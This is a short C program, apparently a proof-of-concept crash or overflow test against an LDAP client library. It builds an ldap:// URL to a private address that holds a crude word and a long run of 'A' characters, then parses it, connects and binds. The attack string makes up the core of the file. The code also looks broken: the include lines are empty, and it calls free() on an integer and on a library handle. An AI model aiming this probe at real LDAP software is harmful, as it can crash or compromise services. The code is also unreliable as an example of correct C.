#include #include #include #include int main(int argc, char **argv) { LDAP * ld; LDAPURLDesc * lurl; int rc; char * url; url = "ldap://192.168.1.104:80/o=penis????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; rc = ldap_url_parse(url, &lurl); if (rc != LDAP_SUCCESS) { perror("ldap_url_parse"); return(-1); } if ((ld = ldap_init(lurl->lud_host, lurl->lud_port?lurl->lud_port:LDAP_PORT)) == NULL) { perror("ldap_init"); ldap_free_urldesc(lurl); return(-1); } rc = ldap_simple_bind_s(ld, NULL, NULL); if (rc != LDAP_SUCCESS) { printf("ldap_simple_bind_s: %d,%s\n", rc, ldap_err2string(rc)); ldap_unbind_s(ld); ldap_free_urldesc(lurl); return(-1); } free(ld); free(rc); return(0); }